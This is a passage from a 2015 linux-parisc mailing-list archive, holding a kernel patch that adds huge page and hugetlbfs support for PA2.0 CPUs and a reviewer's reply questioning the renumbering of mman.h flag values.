	id S935185AbbKTVix (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 20 Nov 2015 16:38:53 -0500
Original-Received: from localhost.localdomain ([92.203.21.201]) by mail.gmx.com
 (mrgmx002) with ESMTPSA (Nemesis) id 0LomJ1-1aaJk31YPD-00gmAM; Fri, 20 Nov
 2015 22:38:48 +0100
X-Mailer: git-send-email 2.1.0
In-Reply-To: <1448055522-11594-1-git-send-email-deller@gmx.de>
X-Provags-ID: V03:K0:mw+94k9zg61EVWBsZGKYcz1/WkJu2t2SXXGYvHMO6VYf8ek2jEW
 KpiX5GJECUofy9XQVGC1FlNTogFy6297erjfRar9KIVnbZEP4R4vni547TDlU6B1qyhGGLS
 VglHzSecPPP6/hQmu5vF1cgWixCGdHmDOBtbXZwnOO7LRJh8k4RB5PRP4atDwjcgP0gIfj3
 OPvnTRdrdhcji+yeXZqEA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:mkW3yF3Rwto=:IAyZ2CLurCGyz97WdXw7cQ
 HUiHlEkZYpc9AqOKRjBcY07T7a75eUpv0lAlLX1+EuC7hBMF3YE3WUJ/nm2SPmodT/bj8ZgCN
 x2huwlMg3F6yTho1OEg+YRJA7to4eXa67MaexDCnb647Ebx3F4RHnXzrgbiyf+RI5vY+qqTVV
 8Ws6qcwf+xARzU8u/YPROTwOzaOQ07/J+nZF0IYpcgw7LJqfA7tMKs5Ne5vpUS60nT9W8tOm9
 5AWXMqYN9dn8sVMLYHv3aGYNTSYSh66fcIMCZKsVVfrLSYUFOJkn64aHK0G2HcxSDWnEyE+BG
 9RJb6XKIvCumgytqQzf99UT2jo4PdyqlNK723OebJ3xayfOKb1z0pF7Yo/FBOnXKBP/P8cSME
 Ez9/rkf+8imKvOZLlwp04yC495DJ2I7komyWsSTjqyilFUvL5Teg+Qmif+IlI4ZqDVc1itdEr
 TetpE8Is20oUzZ9a2WQC9sL/vgyDPXzlMNjq0Nis7Ezkp297vFIk1LxSVurhs1lZm3YexvLUs
 3NtBg0RO56Cw54zBiMqvuqmBisRCPV51erS7kGM9HbCvFdxCVdzSQCWcBq/Q7ta3wEun3GZhs
 uUpg2H0VqXhHOgVgSYHGczcK0r4py7WK7rgQzMHnolBMZUU6NWb6hFf4obheGtKLslLx0sTU+
 Z+Cld24Z6qZRMh9PE7tpgJks602r11pLJ1cV32og/SXdlHQAdu5mpEBKepv4hoJrylFIMDV6p
 drLybWjXJAJ7C7393oEVTfDcWaLx19uuUtyArELYIPu6I5hBnx+7z5hbkYY=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26159
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26159>

This patch adds huge page support to allow userspace to allocate huge
pages and to use hugetlbfs filesystem on 32- and 64-bit Linux kernels.
A later patch will add kernel support to map kernel text and data on
huge pages.

The only requirement is, that the kernel needs to be compiled for a
PA8X00 CPU (PA2.0 architecture). Older PA1.X CPUs do not support
variable page sizes. 64bit Kernels are compiled for PA2.0 by default.

Technically on parisc multiple physical huge pages may be needed to
emulate standard 2MB huge pages.

Signed-off-by: Helge Deller <deller@gmx.de>
---
 arch/parisc/Kconfig               |   3 +
 arch/parisc/include/asm/hugetlb.h |  85 ++++++++++++++++++++
 arch/parisc/kernel/entry.S        |  45 +++++++----
 arch/parisc/kernel/setup.c        |  11 ++-
 arch/parisc/mm/Makefile           |   1 +
 arch/parisc/mm/hugetlbpage.c      | 162 ++++++++++++++++++++++++++++++++++++++
 6 files changed, 292 insertions(+), 15 deletions(-)
 create mode 100644 arch/parisc/include/asm/hugetlb.h
 create mode 100644 arch/parisc/mm/hugetlbpage.c

diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index c365469..729f891 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -108,6 +108,9 @@ config PGTABLE_LEVELS
 	default 3 if 64BIT && PARISC_PAGE_SIZE_4KB
 	default 2
 
+config SYS_SUPPORTS_HUGETLBFS
+	def_bool y if PA20
+
 source "init/Kconfig"
 
 source "kernel/Kconfig.freezer"
diff --git a/arch/parisc/include/asm/hugetlb.h b/arch/parisc/include/asm/hugetlb.h
new file mode 100644
index 0000000..7d56a9c
--- /dev/null
+++ b/arch/parisc/include/asm/hugetlb.h
@@ -0,0 +1,85 @@
+#ifndef _ASM_PARISC64_HUGETLB_H
+#define _ASM_PARISC64_HUGETLB_H
+
+#include <asm/page.h>
+#include <asm-generic/hugetlb.h>
+
+
+void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
+		     pte_t *ptep, pte_t pte);
+
+pte_t huge_ptep_get_and_clear(struct mm_struct *mm, unsigned long addr,
+			      pte_t *ptep);
+
+static inline int is_hugepage_only_range(struct mm_struct *mm,
+					 unsigned long addr,
+					 unsigned long len) {
+	return 0;
+}
+
+/*
+ * If the arch doesn't supply something else, assume that hugepage
+ * size aligned regions are ok without further preparation.
+ */
+static inline int prepare_hugepage_range(struct file *file,
+			unsigned long addr, unsigned long len)
+{
+	if (len & ~HPAGE_MASK)
+		return -EINVAL;
+	if (addr & ~HPAGE_MASK)
+		return -EINVAL;
+	return 0;
+}
+
+static inline void hugetlb_free_pgd_range(struct mmu_gather *tlb,
+					  unsigned long addr, unsigned long end,
+					  unsigned long floor,
+					  unsigned long ceiling)
+{
+	free_pgd_range(tlb, addr, end, floor, ceiling);
+}
+
+static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
+					 unsigned long addr, pte_t *ptep)
+{
+}
+
+static inline int huge_pte_none(pte_t pte)
+{
+	return pte_none(pte);
+}
+
+static inline pte_t huge_pte_wrprotect(pte_t pte)
+{
+	return pte_wrprotect(pte);
+}
+
+static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
+					   unsigned long addr, pte_t *ptep)
+{
+	pte_t old_pte = *ptep;
+	set_huge_pte_at(mm, addr, ptep, pte_wrprotect(old_pte));
+}
+
+static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
+					     unsigned long addr, pte_t *ptep,
+					     pte_t pte, int dirty)
+{
+	int changed = !pte_same(*ptep, pte);
+	if (changed) {
+		set_huge_pte_at(vma->vm_mm, addr, ptep, pte);
+		flush_tlb_page(vma, addr);
+	}
+	return changed;
+}
+
+static inline pte_t huge_ptep_get(pte_t *ptep)
+{
+	return *ptep;
+}
+
+static inline void arch_clear_hugepage_flags(struct page *page)
+{
+}
+
+#endif /* _ASM_PARISC64_HUGETLB_H */
diff --git a/arch/parisc/kernel/entry.S b/arch/parisc/kernel/entry.S
index b2fdc44..623496c 100644
--- a/arch/parisc/kernel/entry.S
+++ b/arch/parisc/kernel/entry.S
@@ -502,21 +502,38 @@
 	STREG		\pte,0(\ptp)
 	.endm
 
+	/* We have (depending on the page size):
+	 * - 38 to 52-bit Physical Page Number
+	 * - 12 to 26-bit page offset
+	 */
 	/* bitshift difference between a PFN (based on kernel's PAGE_SIZE)
 	 * to a CPU TLB 4k PFN (4k => 12 bits to shift) */
-	#define PAGE_ADD_SHIFT  (PAGE_SHIFT-12)
+	#define PAGE_ADD_SHIFT		(PAGE_SHIFT-12)
+	#define PAGE_ADD_HUGE_SHIFT	(REAL_HPAGE_SHIFT-12)
 
 	/* Drop prot bits and convert to page addr for iitlbt and idtlbt */
-	.macro		convert_for_tlb_insert20 pte
+	.macro		convert_for_tlb_insert20 pte,tmp
+#ifdef CONFIG_HUGETLB_PAGE
+	copy		\pte,\tmp
+	extrd,u		\tmp,(63-ASM_PFN_PTE_SHIFT)+(63-58)+PAGE_ADD_SHIFT,\
+				64-PAGE_SHIFT-PAGE_ADD_SHIFT,\pte
+
+	depdi		_PAGE_SIZE_ENCODING_DEFAULT,63,\
+				(63-58)+PAGE_ADD_SHIFT,\pte
+	extrd,u,*=	\tmp,_PAGE_HPAGE_BIT+32,1,%r0
+	depdi		_HUGE_PAGE_SIZE_ENCODING_DEFAULT,63,\
+				(63-58)+PAGE_ADD_HUGE_SHIFT,\pte
+#else /* Huge pages disabled */
 	extrd,u		\pte,(63-ASM_PFN_PTE_SHIFT)+(63-58)+PAGE_ADD_SHIFT,\
 				64-PAGE_SHIFT-PAGE_ADD_SHIFT,\pte
 	depdi		_PAGE_SIZE_ENCODING_DEFAULT,63,\
 				(63-58)+PAGE_ADD_SHIFT,\pte
+#endif
 	.endm
 
 	/* Convert the pte and prot to tlb insertion values.  How
 	 * this happens is quite subtle, read below */
-	.macro		make_insert_tlb	spc,pte,prot
+	.macro		make_insert_tlb	spc,pte,prot,tmp
 	space_to_prot   \spc \prot        /* create prot id from space */
 	/* The following is the real subtlety.  This is depositing
 	 * T <-> _PAGE_REFTRAP
@@ -553,7 +570,7 @@
 	depdi		1,12,1,\prot
 
 	/* Drop prot bits and convert to page addr for iitlbt and idtlbt */
-	convert_for_tlb_insert20 \pte
+	convert_for_tlb_insert20 \pte \tmp
 	.endm
 
 	/* Identical macro to make_insert_tlb above, except it
@@ -1142,7 +1159,7 @@ dtlb_miss_20w:
 	tlb_lock	spc,ptp,pte,t0,t1,dtlb_check_alias_20w
 	update_accessed	ptp,pte,t0,t1
 
-	make_insert_tlb	spc,pte,prot
+	make_insert_tlb	spc,pte,prot,t1
 	
 	idtlbt          pte,prot
 
@@ -1168,7 +1185,7 @@ nadtlb_miss_20w:
 	tlb_lock	spc,ptp,pte,t0,t1,nadtlb_check_alias_20w
 	update_accessed	ptp,pte,t0,t1
 
-	make_insert_tlb	spc,pte,prot
+	make_insert_tlb	spc,pte,prot,t1
 
 	idtlbt          pte,prot
 
@@ -1262,7 +1279,7 @@ dtlb_miss_20:
 	tlb_lock	spc,ptp,pte,t0,t1,dtlb_check_alias_20
 	update_accessed	ptp,pte,t0,t1
 
-	make_insert_tlb	spc,pte,prot
+	make_insert_tlb	spc,pte,prot,t1
 
 	f_extend	pte,t1
 
@@ -1290,7 +1307,7 @@ nadtlb_miss_20:
 	tlb_lock	spc,ptp,pte,t0,t1,nadtlb_check_alias_20
 	update_accessed	ptp,pte,t0,t1
 
-	make_insert_tlb	spc,pte,prot
+	make_insert_tlb	spc,pte,prot,t1
 
 	f_extend	pte,t1
 	
@@ -1399,7 +1416,7 @@ itlb_miss_20w:
 	tlb_lock	spc,ptp,pte,t0,t1,itlb_fault
 	update_accessed	ptp,pte,t0,t1
 
-	make_insert_tlb	spc,pte,prot
+	make_insert_tlb	spc,pte,prot,t1
 	
 	iitlbt          pte,prot
 
@@ -1423,7 +1440,7 @@ naitlb_miss_20w:
 	tlb_lock	spc,ptp,pte,t0,t1,naitlb_check_alias_20w
 	update_accessed	ptp,pte,t0,t1
 
-	make_insert_tlb	spc,pte,prot
+	make_insert_tlb	spc,pte,prot,t1
 
 	iitlbt          pte,prot
 
@@ -1509,7 +1526,7 @@ itlb_miss_20:
 	tlb_lock	spc,ptp,pte,t0,t1,itlb_fault
 	update_accessed	ptp,pte,t0,t1
 
-	make_insert_tlb	spc,pte,prot
+	make_insert_tlb	spc,pte,prot,t1
 
 	f_extend	pte,t1
 
@@ -1529,7 +1546,7 @@ naitlb_miss_20:
 	tlb_lock	spc,ptp,pte,t0,t1,naitlb_check_alias_20
 	update_accessed	ptp,pte,t0,t1
 
-	make_insert_tlb	spc,pte,prot
+	make_insert_tlb	spc,pte,prot,t1
 
 	f_extend	pte,t1
 
@@ -1561,7 +1578,7 @@ dbit_trap_20w:
 	tlb_lock	spc,ptp,pte,t0,t1,dbit_fault
 	update_dirty	ptp,pte,t1
 
-	make_insert_tlb	spc,pte,prot
+	make_insert_tlb	spc,pte,prot,t1
 		
 	idtlbt          pte,prot
 
@@ -1605,7 +1622,7 @@ dbit_trap_20:
 	tlb_lock	spc,ptp,pte,t0,t1,dbit_fault
 	update_dirty	ptp,pte,t1
 
-	make_insert_tlb	spc,pte,prot
+	make_insert_tlb	spc,pte,prot,t1
 
 	f_extend	pte,t1
 	
diff --git a/arch/parisc/kernel/setup.c b/arch/parisc/kernel/setup.c
index f097762..f7ea626 100644
--- a/arch/parisc/kernel/setup.c
+++ b/arch/parisc/kernel/setup.c
@@ -130,7 +130,16 @@ void __init setup_arch(char **cmdline_p)
 	printk(KERN_INFO "The 32-bit Kernel has started...\n");
 #endif
 
-	printk(KERN_INFO "Default page size is %dKB.\n", (int)(PAGE_SIZE / 1024));
+	printk(KERN_INFO "Kernel default page size is %d KB. Huge pages ",
+		(int)(PAGE_SIZE / 1024));
+#ifdef CONFIG_HUGETLB_PAGE
+	printk(KERN_CONT "enabled with %d MB physical and %d MB virtual size",
+		 1 << (REAL_HPAGE_SHIFT - 20), 1 << (HPAGE_SHIFT - 20));
+#else
+	printk(KERN_CONT "disabled");
+#endif
+	printk(KERN_CONT ".\n");
+
 
 	pdc_console_init();
 
diff --git a/arch/parisc/mm/Makefile b/arch/parisc/mm/Makefile
index 758ceef..134393d 100644
--- a/arch/parisc/mm/Makefile
+++ b/arch/parisc/mm/Makefile
@@ -3,3 +3,4 @@
 #
 
 obj-y	 := init.o fault.o ioremap.o
+obj-$(CONFIG_HUGETLB_PAGE) += hugetlbpage.o
diff --git a/arch/parisc/mm/hugetlbpage.c b/arch/parisc/mm/hugetlbpage.c
new file mode 100644
index 0000000..36033c0
--- /dev/null
+++ b/arch/parisc/mm/hugetlbpage.c
@@ -0,0 +1,162 @@
+/*
+ * PARISC64 Huge TLB page support.
+ *
+ * This parisc implementation is heavily based on the SPARC and x86 code.
+ *
+ * Copyright (C) 2015 Helge Deller <deller@gmx.de>
+ */
+
+#include <linux/fs.h>
+#include <linux/mm.h>
+#include <linux/hugetlb.h>
+#include <linux/pagemap.h>
+#include <linux/sysctl.h>
+
+#include <asm/mman.h>
+#include <asm/pgalloc.h>
+#include <asm/tlb.h>
+#include <asm/tlbflush.h>
+#include <asm/cacheflush.h>
+#include <asm/mmu_context.h>
+
+
+unsigned long
+hugetlb_get_unmapped_area(struct file *file, unsigned long addr,
+		unsigned long len, unsigned long pgoff, unsigned long flags)
+{
+	struct hstate *h = hstate_file(file);
+
+	if (len & ~huge_page_mask(h))
+		return -EINVAL;
+	if (len > TASK_SIZE)
+		return -ENOMEM;
+
+	if (flags & MAP_FIXED)
+		if (prepare_hugepage_range(file, addr, len))
+			return -EINVAL;
+
+	if (addr)
+		addr = ALIGN(addr, huge_page_size(h));
+
+	/* we need to make sure the colouring is OK */
+	return arch_get_unmapped_area(file, addr, len, pgoff, flags);
+}
+
+
+pte_t *huge_pte_alloc(struct mm_struct *mm,
+			unsigned long addr, unsigned long sz)
+{
+	pgd_t *pgd;
+	pud_t *pud;
+	pmd_t *pmd;
+	pte_t *pte = NULL;
+
+	/* We must align the address, because our caller will run
+	 * set_huge_pte_at() on whatever we return, which writes out
+	 * all of the sub-ptes for the hugepage range.  So we have
+	 * to give it the first such sub-pte.
+	 */
+	addr &= HPAGE_MASK;
+
+	pgd = pgd_offset(mm, addr);
+	pud = pud_alloc(mm, pgd, addr);
+	if (pud) {
+		pmd = pmd_alloc(mm, pud, addr);
+		if (pmd)
+			pte = pte_alloc_map(mm, NULL, pmd, addr);
+	}
+	return pte;
+}
+
+pte_t *huge_pte_offset(struct mm_struct *mm, unsigned long addr)
+{
+	pgd_t *pgd;
+	pud_t *pud;
+	pmd_t *pmd;
+	pte_t *pte = NULL;
+
+	addr &= HPAGE_MASK;
+
+	pgd = pgd_offset(mm, addr);
+	if (!pgd_none(*pgd)) {
+		pud = pud_offset(pgd, addr);
+		if (!pud_none(*pud)) {
+			pmd = pmd_offset(pud, addr);
+			if (!pmd_none(*pmd))
+				pte = pte_offset_map(pmd, addr);
+		}
+	}
+	return pte;
+}
+
+/* Purge data and instruction TLB entries.  Must be called holding
+ * the pa_tlb_lock.  The TLB purge instructions are slow on SMP
+ * machines since the purge must be broadcast to all CPUs.
+ */
+static inline void purge_tlb_entries_huge(struct mm_struct *mm, unsigned long addr)
+{
+	unsigned long flags;
+	int i;
+
+	/* We may use multiple physical huge pages (e.g. 2x1 MB) to emulate
+	 * Linux standard huge pages (e.g. 2 MB) */
+	BUILD_BUG_ON(REAL_HPAGE_SHIFT > HPAGE_SHIFT);
+
+	addr &= HPAGE_MASK;
+	addr |= _HUGE_PAGE_SIZE_ENCODING_DEFAULT;
+
+	spin_lock_irqsave(&pa_tlb_lock, flags);
+
+	mtsp(mm->context, 1);
+	for (i = 0; i < (1 << (HPAGE_SHIFT-REAL_HPAGE_SHIFT)); i++) {
+		pdtlb(addr);
+		if (unlikely(split_tlb))
+			pitlb(addr);
+		addr += (1UL << REAL_HPAGE_SHIFT);
+	}
+
+	spin_unlock_irqrestore(&pa_tlb_lock, flags);
+}
+
+void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
+		     pte_t *ptep, pte_t entry)
+{
+	unsigned long addr_start;
+	int i;
+
+	addr &= HPAGE_MASK;
+	addr_start = addr;
+
+	for (i = 0; i < (1 << HUGETLB_PAGE_ORDER); i++) {
+		/* Directly write pte entry.  We could call set_pte_at(mm, addr, ptep, entry)
+		 * instead, but then we get double locking on pa_tlb_lock. */
+		*ptep = entry;
+		ptep++;
+		addr += PAGE_SIZE;
+		pte_val(entry) += PAGE_SIZE;
+	}
+
+	purge_tlb_entries_huge(mm, addr_start);
+}
+
+
+pte_t huge_ptep_get_and_clear(struct mm_struct *mm, unsigned long addr,
+			      pte_t *ptep)
+{
+	pte_t entry;
+
+	entry = *ptep;
+	set_huge_pte_at(mm, addr, ptep, __pte(0));
+
+	return entry;
+}
+
+int pmd_huge(pmd_t pmd)
+{
+	return 0;
+}
+
+int pud_huge(pud_t pud)
+{
+	return 0;
+}
-- 
2.1.0

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ben Hutchings <ben@decadent.org.uk>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.stable
Subject: Re: [PATCH 3/9] parisc: Fix asm/mman.h regarding MAP_HUGETLB and
 MADV_XX flags
Date: Sat, 21 Nov 2015 20:57:07 +0000
Lines: 136
Approved: news@gmane.org
Message-ID: <1448139427.17638.16.camel@decadent.org.uk>
References: <1448055522-11594-1-git-send-email-deller@gmx.de>
	 <1448055522-11594-4-git-send-email-deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg="pgp-sha512";
	protocol="application/pgp-signature"; boundary="=-Zow28y2QG6mWn9emtO+N"
X-Trace: ger.gmane.org 1448139478 25973 80.91.229.3 (21 Nov 2015 20:57:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 21 Nov 2015 20:57:58 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>,
	stable@vger.kernel.org
To: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Nov 21 21:57:45 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1a0FE5-0001Ld-Ni
	for glpp-linux-parisc@plane.gmane.org; Sat, 21 Nov 2015 21:57:42 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751527AbbKUU5X (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 21 Nov 2015 15:57:23 -0500
Original-Received: from shadbolt.e.decadent.org.uk ([88.96.1.126]:53436 "EHLO
	shadbolt.e.decadent.org.uk" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751310AbbKUU5W (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 21 Nov 2015 15:57:22 -0500
Original-Received: from deadeye.wl.decadent.org.uk ([192.168.4.247] helo=deadeye)
	by shadbolt.decadent.org.uk with esmtps (TLS1.2:ECDHE_RSA_AES_128_GCM_SHA256:128)
	(Exim 4.84)
	(envelope-from <ben@decadent.org.uk>)
	id 1a0FDh-0000ss-ML; Sat, 21 Nov 2015 20:57:17 +0000
Original-Received: from ben by deadeye with local (Exim 4.86)
	(envelope-from <ben@decadent.org.uk>)
	id 1a0FDc-0003i3-JX; Sat, 21 Nov 2015 20:57:12 +0000
In-Reply-To: <1448055522-11594-4-git-send-email-deller@gmx.de>
X-Mailer: Evolution 3.18.1-1 
X-SA-Exim-Connect-IP: 192.168.4.247
X-SA-Exim-Mail-From: ben@decadent.org.uk
X-SA-Exim-Scanned: No (on shadbolt.decadent.org.uk); SAEximRunCond expanded to false
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26160 gmane.linux.kernel.stable:156181
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26160>


--=-Zow28y2QG6mWn9emtO+N
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable

On Fri, 2015-11-20 at 22:38 +0100, Helge Deller wrote:
> On parisc we have up to now never supported Huge Pages, even glibc did
> not defined MAP_HUGETLB for parisc. Since the Huge Page support is being
> added now, clean up existing definitions for MAP_HUGETLB and friends.
>=20
> Drop lots of MADV_xxK_PAGES flags, which were never used and were
> designed for a patch which was never integrated into the Linux
> kernel. Instead move other MADV_ flags to make them more compatible to
> other linux architectures.

Changing the unimplemented values seems fine, but how can it be OK to
renumber MAP_GROWSUP, MADV_DONTDUMP and MADV_DODUMP?

Ben.

> Cc: stable@vger.kernel.org
> Signed-off-by: Helge Deller <deller@gmx.de>
> ---
> =C2=A0arch/parisc/include/uapi/asm/mman.h | 29 ++++++++++----------------=
---
> =C2=A01 file changed, 10 insertions(+), 19 deletions(-)
>=20
> diff --git a/arch/parisc/include/uapi/asm/mman.h b/arch/parisc/include/ua=
pi/asm/mman.h
> index 294d251..9ac77f1 100644
> --- a/arch/parisc/include/uapi/asm/mman.h
> +++ b/arch/parisc/include/uapi/asm/mman.h
> @@ -19,11 +19,12 @@
> =C2=A0#define MAP_EXECUTABLE> 	> 0x1000> 	> 	> /* mark it as an executabl=
e */
> =C2=A0#define MAP_LOCKED> 	> 0x2000> 	> 	> /* pages are locked */
> =C2=A0#define MAP_NORESERVE> 	> 0x4000> 	> 	> /* don't check for reservat=
ions */
> -#define MAP_GROWSDOWN> 	> 0x8000> 	> 	> /* stack-like segment */
> +#define MAP_GROWSDOWN> 	> 0x8000> 	> 	> /* x86 stack-like segment */
> =C2=A0#define MAP_POPULATE> 	> 0x10000> 	> 	> /* populate (prefault) page=
tables */
> =C2=A0#define MAP_NONBLOCK> 	> 0x20000> 	> 	> /* do not block on IO */
> -#define MAP_STACK> 	> 0x40000> 	> 	> /* give out an address that is best=
 suited for process/thread stacks */
> -#define MAP_HUGETLB> 	> 0x80000> 	> 	> /* create a huge page mapping */
> +#define MAP_HUGETLB> 	> 0x40000> 	> 	> /* create a huge page mapping */
> +#define MAP_GROWSUP> 	> 0x80000> 	> 	> /* parisc stack-like segment */
> +#define MAP_STACK> 	> MAP_GROWSUP> 	> /* give out an address that is bes=
t suited for process/thread stacks */
> =C2=A0
> =C2=A0#define MS_SYNC> 	> 	> 1> 	> 	> /* synchronous memory sync */
> =C2=A0#define MS_ASYNC> 	> 2> 	> 	> /* sync memory asynchronously */
> @@ -46,25 +47,15 @@
> =C2=A0#define MADV_DONTFORK> 	> 10> 	> 	> /* don't inherit across fork */
> =C2=A0#define MADV_DOFORK> 	> 11> 	> 	> /* do inherit across fork */
> =C2=A0
> -/* The range 12-64 is reserved for page size specification. */
> -#define MADV_4K_PAGES=C2=A0=C2=A0=C2=A012=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=
=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0/* Use 4K pages=C2=A0=
=C2=A0*/
> -#define MADV_16K_PAGES=C2=A0=C2=A014=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=
=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0/* Use 16K pages */
> -#define MADV_64K_PAGES=C2=A0=C2=A016=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=
=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0/* Use 64K pages */
> -#define MADV_256K_PAGES 18=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=
=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0/* Use 256K pages */
> -#define MADV_1M_PAGES=C2=A0=C2=A0=C2=A020=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=
=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0/* Use 1 Megabyte pag=
es */
> -#define MADV_4M_PAGES=C2=A0=C2=A0=C2=A022=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=
=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0/* Use 4 Megabyte pag=
es */
> -#define MADV_16M_PAGES=C2=A0=C2=A024=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=
=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0/* Use 16 Megabyte pages */
> -#define MADV_64M_PAGES=C2=A0=C2=A026=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=
=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0/* Use 64 Megabyte pages */
> +#define MADV_MERGEABLE=C2=A0=C2=A0=C2=A012> 	> 	> /* KSM may merge ident=
ical pages */
> +#define MADV_UNMERGEABLE 13> 	> 	> /* KSM may not merge identical pages =
*/
> =C2=A0
> -#define MADV_MERGEABLE=C2=A0=C2=A0=C2=A065> 	> 	> /* KSM may merge ident=
ical pages */
> -#define MADV_UNMERGEABLE 66> 	> 	> /* KSM may not merge identical pages =
*/
> +#define MADV_HUGEPAGE> 	> 14> 	> 	> /* Worth backing with hugepages */
> +#define MADV_NOHUGEPAGE> 	> 15> 	> 	> /* Not worth backing with hugepage=
s */
> =C2=A0
> -#define MADV_HUGEPAGE> 	> 67> 	> 	> /* Worth backing with hugepages */
> -#define MADV_NOHUGEPAGE> 	> 68> 	> 	> /* Not worth backing with hugepage=
s */
> -
> -#define MADV_DONTDUMP=C2=A0=C2=A0=C2=A069> 	> 	> /* Explicity exclude fr=
om the core dump,
> +#define MADV_DONTDUMP=C2=A0=C2=A0=C2=A016> 	> 	> /* Explicity exclude fr=
om the core dump,
> =C2=A0> 	> 	> 	> 	> 	> =C2=A0=C2=A0=C2=A0overrides the coredump filter bi=
ts */
> -#define MADV_DODUMP> 	> 70> 	> 	> /* Clear the MADV_NODUMP flag */
> +#define MADV_DODUMP> 	> 17> 	> 	> /* Clear the MADV_NODUMP flag */
> =C2=A0
> =C2=A0/* compatibility flags */
> =C2=A0#define MAP_FILE> 	> 0
--=20
Ben Hutchings
If you seem to know what you are doing, you'll be given more to do.
--=-Zow28y2QG6mWn9emtO+N
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1

iQIVAwUAVlDao+e/yOyVhhEJAQpLQQ/8CIeIOoARdyox/AL27LzUs6tOGKNsLfPu
v37dCxhrsHk5mTC8dGgDPF8R3gmyzjg7kJJFSlGgd1Kq65QYK2cnR2g4Za2HaRuZ
sX0C92NH68/3p1nnT4kc5V2+7R+S1jDgBSXyE6WV5Cb3cmeL+dCZzf1PjzvjAfR9
FHup4bAEmLyaEBO4umcQ7hxXQOtvWPcMmxibZHGZkHD42nx2tNhe+3nkGS2Uqn8U
MU/IRotvzw9hgD/sZ8uV+v5cEv0aY87bTNQtSPvJ8xwVcIfWNl/ixl+lUMUcYfcE
VmcyDCm/+mWC98w6KeDAGxE2HTD3w6XO2A4j0oRjifXs8y/G1JjUIK5czt5BEFht
Mk0BZzW0JQPV5GEZK037Sv2xtP/OjvvIoSaten+UBIKjmLdBG/8i1gAStAcb7tlh
Lkzxzj4XvOtMi/UAMUWA4boeZbth2recVCen1AT+/IKJTM61tb9I1JcbFBWJgxwM
+bb90sVYD2fCTmwONl5PwUAzgB5E19KaB9u0NVICodGsjAA7eoVWvLx40q1zGZje
dAaCkyhVthkjMBnvijCHW/ti81j0Roay4dDsW96PgNB39u1fzabU0NmSV2X6HNxY
nHKf3h3EQtOh8NEdJIdGcOGJsEuehutQ1297XfKRSGsRT5cfTUzfvDdpUGI/RtOI
jKWXZDgqNhQ=
=GW2N
-----END PGP SIGNATURE-----

--=-Zow28y2QG6mWn9emtO+N--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
